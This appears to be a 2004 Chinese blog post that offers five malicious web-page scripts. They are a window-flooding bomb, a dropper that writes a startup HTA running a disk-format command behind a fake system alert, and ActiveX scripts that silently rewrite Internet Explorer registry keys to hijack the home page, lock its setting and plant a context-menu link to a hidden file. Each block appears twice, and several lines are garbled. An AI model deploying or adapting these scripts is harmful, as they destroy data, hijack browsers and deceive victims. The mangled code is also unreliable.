恶意代码/Black code
[ 2004-09-08 18:30:44 | Author: zhenhua ]
1.窗口炸弹代码
2.格式化硬盘的代码
3.自动设定主页代码
4.使IE的Internet选项的主页条失去作用(变灰)的代码
5.在鼠标右键菜单加入网页链接
Comments Feed: http://www.zhenhua.org/feed.asp?q=comment&id=141
Trackback URL: http://www.zhenhua.org/trackback.asp?id=141
<script language="javascript">
function windowBomb()
{
var iCounter=0;
while (true)
{
window.open("http://******","crashing"+iCounter,"width=,height=,resizable=no");
iCounter++;
}
}
</script>
function windowBomb()
{
var iCounter=0;
while (true)
{
window.open("http://******","crashing"+iCounter,"width=,height=,resizable=no");
iCounter++;
}
}
</script>
2.格式化硬盘的代码
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C--3FBFC">
</object>
<script>
scr.Reset();
scr.Path="c:\\windows\\Start Menu\\Programs\\启动\\automat.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-aaDo-ADB9-ooCo4FD58AoB'>
</object>
<script>
wsh.Run('start /m format a:/q /autotest /u');
alert('Important:Windows is configuring the system.Please do not interrupt this process.');
</script>";
scr.write();
</script>
</object>
<script>
scr.Reset();
scr.Path="c:\\windows\\Start Menu\\Programs\\启动\\automat.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-aaDo-ADB9-ooCo4FD58AoB'>
</object>
<script>
wsh.Run('start /m format a:/q /autotest /u');
alert('Important:Windows is configuring the system.Please do not interrupt this process.');
</script>";
scr.write();
</script>
3.自动设定主页代码
<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveX.ActiveXComponent></applet>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADb9-00C04FD58A0B}");
a1.createInstance();
Shl=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO=a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net=a1.GetObject();
try
{
if(documents \.cookiess.indexOf("Chg"0==-1)
{
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.***.com");
Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.***.com");
var expdate=new Date((new Date()).getTime()+(1));
documents \.cookiess="Chg=general;expires="+expdate.toGMTString()+";path=/;"
}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</script>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveX.ActiveXComponent></applet>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADb9-00C04FD58A0B}");
a1.createInstance();
Shl=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO=a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net=a1.GetObject();
try
{
if(documents \.cookiess.indexOf("Chg"0==-1)
{
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.***.com");
Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.***.com");
var expdate=new Date((new Date()).getTime()+(1));
documents \.cookiess="Chg=general;expires="+expdate.toGMTString()+";path=/;"
}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</script>
4.使IE的Internet选项的主页条失去作用(变灰)的代码
<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveX.ActiveXComponent></applet>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADb9-00C04FD58A0B}");
a1.createInstance();
sh=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo=a1.GetObject();
if(documets \.cookiess.indexOf("km169set")==-1)
{
sh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Internet Explorer\\Control Panel\\HomePage",1,"REG_DWORD");
hd=fo.CreateTextFile();
hd.write('');
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate=new Date((new Date()).getTime()+(1));
document \.cookiess="km169set=km169;expires="+expdate.toGMTString()+";path=/;"
}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</script>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveX.ActiveXComponent></applet>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADb9-00C04FD58A0B}");
a1.createInstance();
sh=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo=a1.GetObject();
if(documets \.cookiess.indexOf("km169set")==-1)
{
sh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Internet Explorer\\Control Panel\\HomePage",1,"REG_DWORD");
hd=fo.CreateTextFile();
hd.write('');
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate=new Date((new Date()).getTime()+(1));
document \.cookiess="km169set=km169;expires="+expdate.toGMTString()+";path=/;"
}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</script>
5.在鼠标右键菜单加入网页链接
<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveX.ActiveXComponent></applet>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADb9-00C04FD58A0B}");
a1.createInstance();
sh=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo=a1.GetObject();
if(documets \.cookiess.indexOf("km169set")==-1)
{
sh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Internet Explorer\\MenuExt\\******\\","c:\\yntop.htm");
sh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Internet Explorer\\MenuExt\\******\\contexts",Oxf3,"REG_DWORD");
hd=fo.CreateTextFile("c:\\yntop.htm");
hd.write('<html><head></head><script language=javascript>window.open("http://www.****.com:);</script></html>');
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate=new Date((new Date()).getTime()+(1));
document \.cookiess="km169set=km169;expires="+expdate.toGMTString()+";path=/;"
}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</script>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveX.ActiveXComponent></applet>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADb9-00C04FD58A0B}");
a1.createInstance();
sh=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo=a1.GetObject();
if(documets \.cookiess.indexOf("km169set")==-1)
{
sh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Internet Explorer\\MenuExt\\******\\","c:\\yntop.htm");
sh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Internet Explorer\\MenuExt\\******\\contexts",Oxf3,"REG_DWORD");
hd=fo.CreateTextFile("c:\\yntop.htm");
hd.write('<html><head></head><script language=javascript>window.open("http://www.****.com:);</script></html>');
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate=new Date((new Date()).getTime()+(1));
document \.cookiess="km169set=km169;expires="+expdate.toGMTString()+";path=/;"
}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</script>


There is no comment on this article.
If you feel this site you find this information helpful, please click on the donation, which is voluntary,Thank you. |